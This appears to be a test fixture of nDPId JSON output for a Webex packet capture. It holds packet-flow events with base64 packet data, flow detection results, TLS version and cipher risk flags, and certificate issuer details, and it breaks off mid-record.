+00493{"flow_id":36,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":610,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":884240,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAi5AABAGP3k+beB4CggAAQG7x9IaTfA85bIgjVAY\/\/\/ChwAAFAMBAAEBFgMBADDsOSpGwysZgLXUvcn59lOokpI6TIpqM365H2l2HZLgmAARcdWx5lyGGQ9rOjKtJVA="} +01094{"flow_id":36,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":611,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":935331,"pkt_caplen":560,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":560,"pkt_l4_len":526,"pkt":"ABoRAAACABoRAAABCABFAAIi0O1AAEAGPvoKCAABPm3geMfSAbvlsiCNGk3wd1AYTE8C4wAAFwMBACCKYoPatkz9Ivr2osZQcxoZDRwoMEr9dP4F0JuElSyuUxcDAQHQKjjE4MXvWXtuBkKRClqskeBORNflZQcyfgfVrUbGp2pES0SX\/QE569nnm6P1G6stSXDjfobMI7vwFvscjsvLs9RVp4iCy87cNb3FHIP2CP6gmeywdwnLP8ZahYuPNyHvgVXvs7kMbwn95C31ec7h5D3RwkV4y4mj+TxwNgE1KEHfIhhKmlcvrJ7gn+Dla3Y24PNEN\/e+W7CMJxSOsZtO+IOy7B1zw5e\/NwNpEjAzr1VxUY9IP2ymPfL97vvA8SGzSVDfkbked8JPQf7GE29tPRkIbxr7dAyLLhIMBYjit\/zSspNJAM5r0dAvbk24hFpI3fXsp4uhdUUh6h+2WvDEaGBFqymgvjNLsad7im559qhZgdFfvx5MfaIO6UTX52obqt1szb17HirIU0s\/8eMLEX14SRYzkHlxl9acRUuqtrH4WdF0Qz+3wa2E1oHtmF189cDtTJ6aKWwOHUv5JOyJDnk4NCc92\/RrmIxoQK50OGlN+D9nWSNMJyhqDEZPEXA\/FaBHBzRsE1YejL7bCGFJ712GeZpyKZ9oAvJYWyNWHPRCmSJYK9SyK0i74Q+sDO1tfBLthf37wcSjoQfQuzvCM9rc0hnOK7ZWcn9fDZDROTk="} +00410{"flow_id":36,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":612,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":936680,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAi9AABAGP7M+beB4CggAAQG7x9IaTfB35bIih1AQ\/\/+qWQAA"} +00492{"flow_id":37,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":942137,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAjBAABAGP3c+beB4CggAAQG7x9MtpIJW0luOc1AY\/\/9uGgAAFAMBAAEBFgMBADBdzWnWTzyuBMRi2zzc66gSAy5g7XPTErjxTINaJOlvsADpNZn7OjrHQmUs4FUSGpo="} +01139{"flow_id":36,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":943213,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJA0O5AAEAGPtsKCAABPm3geMfSAbvlsiKHGk3wd1AQTE+zbAAAFwMBACDtCG7R7eW6svGwhVumfNenA+OxnWNj4g+MuQ381T4AlhcDAQJAM0UOtPQFbP+3Kx5TmgcYjxznDdtz1GbUn1QKwCH84KyoIySAyBjFGdGCNBvb+b0nrJHUN7E8UrBrPNTgg32HK4Vf252I2BKFQLVwGHiGA63dNU0YnFvr3ENtSmik+j7Xkb2FVXgmRb4XzPyzrsXZjGdmno6d2sR1sUg9UGqcgpD3Dq3D1a\/YdqVPveBR5Hv30ZQRnNM\/C4NL5RHEr3iUiUyTvlKM4BxZ9jLPRai\/O2o0IlHu7oxWmQSIr6a\/7HNBtSjjGirhgT5S20v6oWFM6zqcpuKmmZPRX1pmETKL4EAI\/djVGmgRxhi3MH0sYXpHJ7W\/BNEvsRxN+5JW2j7qX+MSF+uHGT\/ikIHXYlpRhRrNkZtfQU4x1UJg\/9H27tq3WBOoum0mtT68CR+Vlf3YXnAVEn4lhHr2TRVIQcEjVD49yTn7xpCk922DQMeI+M\/0tQBAXNtYERUZxA8Wrk67YhJz1XFwPrrjnaCkLDlHq4z3B+vbyDXuuqKfT52EiHef0FxRR1BE26CHqSt8pm1V2zGJk+r\/KNyseyFuG2kdRtPF\/EEFWgt\/kDnkhUOgF4RrecLWXdX3HCDteY2XYAfcfr+gPycJl4CmAjhzhQq1WXiokWNs10D6ZOjsa6uT8xBufSqHPFyoVzfUIXU3UP0="} +00410{"flow_id":36,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":946072,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAjFAABAGP7E+beB4CggAAQG7x9IaTfB35bIkn1AQ\/\/+oQQAA"} +00525{"flow_id":36,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":616,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":946532,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"ABoRAAACABoRAAABCABFAAB60O9AAEAGQKAKCAABPm3geMfSAbvlsiSfGk3wd1AYTE\/JnwAAQRtgofebUhQ0TKot8XqFZeG1RYspPyOid1saiWk7qIuvPViVWibpuK6cvb2tNhZuUhh8L+gyzduae0cRcP7spdGjOzXwjgpyQmzLwYQ9lj\/JpA=="} +01055{"flow_id":37,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":998721,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"ABoRAAACABoRAAABCABFAAICQwdAAEAGzQAKCAABPm3geMfTAbvSW45zLaSCkVAYTE+BmAAAFwMBACAdA3Q4IGWHvVVVNUXTG8wQQpDzfEdUr+aR+VRB92pDOhcDAQGwC0r9iuC2+5DWAiOuiFOKCf\/eTGC\/xj3IF4XykTzW\/mkDiX8Zo9DHSnajPjzRmNNAUOPx32zWAKun9XcTHGIorP+6B4o6IzVznBP9CKj0VtoWQnolyCT\/S5VDDl1sOxPBKrzgVtFK9d5nKs3SZH1b7pzBJApIdodEKj+hzPhwLsOvOfQ9q5mDf2rlvaYfEuud8JrVe17lsz5YcqKL44CtZIUxng3biE8hU4gPO5j\/lKBrHNgcVqc2XIbm09cFn9Wl3eJgVOBCs4tyVh+LoRnfDtXKHvdMDhaT\/Qh8y3JnPn8oPknW3n1eU\/Te0\/Oi2amJ4vRzHnOA4peD0BAeiVaRat6OOOX67v4yFbf42FpQfduK2Jff1aMohTxpDRc91Wo1e8GPXBu\/rPJlOA+jNATyfTvpo1EAzrsweOctzGT593CbOS1a8mIefxJdNDao\/7sVjkVjz\/8uMw7VvafymbDnfOWxCTHwMgJIu1flaEhCWJDtYiiBGztYa81hEWPYBEYmNlUWYLYKaEfq9DgLnJkm+4EGsccZ20S\/ZFICJs1Wf2vpXALkMtS7WqHiQtOtV2Dn"} +00410{"flow_id":37,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":619,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":999030,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAjNAABAGP68+beB4CggAAQG7x9MtpIKR0luQTVAQ\/\/+qeAAA"} +00707{"flow_id":37,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570671,"pkt_ts_usec":150838,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"ABoRAAACABoRAAABCABFAAECAjRAABAGPtQ+beB4CggAAQG7x9MtpIKR0luQTVAY\/\/\/rJAAAFwMBAKCEUhgKS7Ore4V4XA8IdFUR4Er1pvl9N7NYzUrhqEqujMkCBt+R8+2ApxunQLbKtNBJ8frcD2IKNtRomHDisv5N1FfXTiIF2dw6IwJazu6xz8Sd9iJy3puaVNpZiGX3bSd4UxrqDoDAiYTuOjZvvQvkxFi3mKSaoKyOk3zR\/ULK5zXQWWH0E74qa1ipQXdhN7aYZwSSWvuhhYGExQr7m8GaFwMBADA1J1QYl7kQR0+Pa+4n7lamQYXLA+LfemMg8fQ6Z4hBckTkoKi+8YFeNtjNLDUxh78="} +00408{"flow_id":37,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":621,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570671,"pkt_ts_usec":202137,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoQwhAAEAGztkKCAABPm3geMfTAbvSW5BNLaSDa1AQatU+yQAA"} +01735{"flow_id":37,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570671,"pkt_ts_usec":657240,"pkt_caplen":1024,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1024,"pkt_l4_len":990,"pkt":"ABoRAAACABoRAAABCABFAAPyAjVAABAGO+M+beB4CggAAQG7x9MtpINr0luQTVAY\/\/+gngAAFwMBA4B4LQc11sgj5iAjgSB3smLHk7\/SenRjb8ZFufK1knTFHzViNUQ\/iWw\/BOftoBW9nu2wpcFh2HwgU90pvkNcoN3JCbeXg7zpP1ezlsV6QElTGlBhpUkmV46hyOlVhhnaJx1KI0dq7t9l2OweDBGK0PQn5LHPHqu3x3JwyzvWZe6xh\/rGhX21y1g9t7yynI49ZQ1uUFo+qHPBLxoGdUow0Nj+lk0BQmVemJO5h7c0sShigdmTKTicVuZqbHk\/pE38q1MzwYlWJWSLv2xA2GgCJqiuRlsay4my3w7o9Vi1Ji5WFF9W8QkwiGSI5ggoIDDBZWH3NmaA+lF8t3eiBjypw\/rWIh9A2GBa3astQstJfJ08\/f53WRAGsSNqvaLmfLY8ybTwelhl+r\/IsAm\/v+U9SALE6vcYTZzwtM7rC0Y4D6OKd5A2YZrYZr5N+9ozCULr\/LwYAYAzJil4Lo2Cf7apInyitpc\/u55LLzZ+QHjotatTnTmeP+cEBxnKpPddLlPdVCvBesENj6jodLYSANMsJbl8Ph9BrHzMFj4hWAUgN9EqjGPvfT3Ev+JIBaoKqTIsS4Jdxtn1gw4zM5eITulccgYHizb7hA1c+re\/xWy3E2bQxzCqjtlptwHqBhwzh7BEAmwlvt6\/QPrJoU3B4ajbDa\/JBst1RbCrRoJRTmMwBmupRBWsPxCdvz\/ONIep8rncQophQvNN00cswoHha82TMfvBV9GWfAU4JOqknc7fIUig\/Fq9FzM5SR3AIldNixb6m6k2BJgbP7Pdm3XQ4rykU\/h3IUpB9cU2BiQB2JGXhl8vAT2MALS8szaGnalxePhZ\/bkp0IVj3CB8leJca9JvvjCdvmJEhQQ8JNLfy62IYtvdHh\/WvnJCUwTiJB+3rdbOgNDbnIS6FrKbcF5eLcmQYyfDnGpnmjiopAp5z+p+nganqLY6s2IodIyKWKoxKXHcUIGTrSy1e1bInxGzE0NHM7L5ZVjjKw4KM00glRLxFzT1YXy9uo0vKe\/nyD3jl4ArmoCsPvapZZ1+b4t13d2fXbhrcNpDAY94KdF\/pnb5WAkfCD3uJkZNtnnwz2iPpqszCJeS7SCcEyTkm6h8bhd95c1TdZd53H96TlF53rKj9WkZ3aJQmix4oXCwZwJkfRd\/Y7hdGD+ihyVfdmDmYW3M4SNv8CCf+KYV74TZla\/OWJ0vmxcDAQBA7bK+SOd8Bp2bc2MJqkBhbTMVnwLf1cGaM\/0unjO3v+yruYCgeAeC00Ow3WKSsgss2LTGvZ1dgWooudhb7lqK0g=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":632,"source":"webex.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1444570672215,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41419,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":215106,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8MYhAAEAGVYAKCAABQERpZ6HLAbsAQeF1AAAAAKACOQgEvgAAAgQFtAQCCAoATND9AAAAAAEDAwY="} +00410{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":633,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":219041,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAjpAABAGtOJARGlnCggAAQG7ocv\/vh6KAEHhdlAS\/\/9YlwAA"} +00408{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":219386,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoMYlAAEAGVZMKCAABQERpZ6HLAbsAQeF2\/74ei1AQOQgfkAAA"} +00494{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":635,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":269788,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnMYpAAEAGVVMKCAABQERpZ6HLAbsAQeF2\/74ei1AYOQieegAAFgMBADoBAAA2AwGjqRN4oMmUAvXJWDJ5WPEL71jxOoo9r1VB6+4PEHNUEQAABAA1AP8BAAAJACMAAAAPAAEB"} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":635,"source":"webex.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":4,"flow_first_seen":1444570672215,"flow_last_seen":1444570672269,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41419,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":38,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":636,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":270226,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAjtAABAGtOFARGlnCggAAQG7ocv\/vh6LAEHhtVAQ\/\/9YWQAA"} +05712{"flow_id":38,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":643,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":626514,"pkt_caplen":3993,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3993,"pkt_l4_len":3959,"pkt":"ABoRAAACABoRAAABCABFAA+LAj9AABAGpXpARGlnCggAAQG7ocv\/vh6LAEHhtVAY\/\/\/4awAAFgMBD14CAABNAwFWGmY2OKSnMLhuCBt0JAb2DEjvPN+R95L+HKgtL7uTUiDN0VOJNIBlLSS4f88OqxP3+igjtpCbQoGsmGl2RmZTSAA1AAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccABNQwggTQMIIEOaADAgECAhAlDOjgMGEunyuJ9wVNfPj9MA0GCSqGSIb3DQEBBQUAMF8xCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMDgwMDAwMDBaFw0yMTExMDcyMzU5NTlaMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK8kCAgpejWeYAyq50s7Ttx8vDxFHLsr4P4pAvlXCKNkhRUn9fGtyDGJXSLoKqqmQrOP+LlVt7G3S7P+j34HV+zvQ9tmYhVhz2ANpNje+ODDYgg9VBPrScpZVIUm5SuPG5\/r9aGRwjNJ2ENjalJL0o\/ocFFN0Ylpe8dw9rPcEnTbe11LVtOWvxV3obD0oiXyrxySZxjl9AYE75C55ADk3Tq1Gf8CuvQ87uCL6zeL7PTXrPL28D2v3XWRMxkdHEDLdCQZIZPZFP6sKlLHj9UESeSNY0eIPGmDy\/5HvSt+T8WVrg6d1NFDwGdz4xQIfuU\/n3O4MwrPXT80h5aK7lPoJRUCAwEAAaOCAZswggGXMA8GA1UdEwEB\/wQFMAMBAf8wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vY3BzMB0GA1UdDgQWBBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzBtBggrBgEFBQcBDARhMF+hXaBbMFkwVzBVFglpbWFnZS9naWYwITAfMAcGBSsOAwIaBBSP5dMahqyNjmvDz4Bq1EgYLHsZLjAlFiNodHRwOi8vbG9nby52ZXJpc2lnbi5jb20vdnNsb2dvLmdpZjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLnZlcmlzaWduLmNvbTA+BgNVHSUENzA1BggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMDBglghkgBhvhCBAEGCmCGSAGG+EUBCAEwDQYJKoZIhvcNAQEFBQADgYEAEwLd+OiGAPJa+PggDFmIYgfOzvdO+btZoZjl4TjdTrxmGNOt6xjyDcltPkqUIMM8ur1lVMavRLMQrSxrPqvXB7a4gWPF+V4u5Spnzs0zDCrXiVYDIx+zvug6CFm07EU194pb\/2bPUK\/GbVeNGXi3uaLRV+ofmkuvusmOEn7Gvf8OAAAA"} +01111{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":643,"source":"webex.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":6,"flow_first_seen":1444570672215,"flow_last_seen":1444570672626,"flow_tot_l4_data_len":4142,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":690,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41419,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, 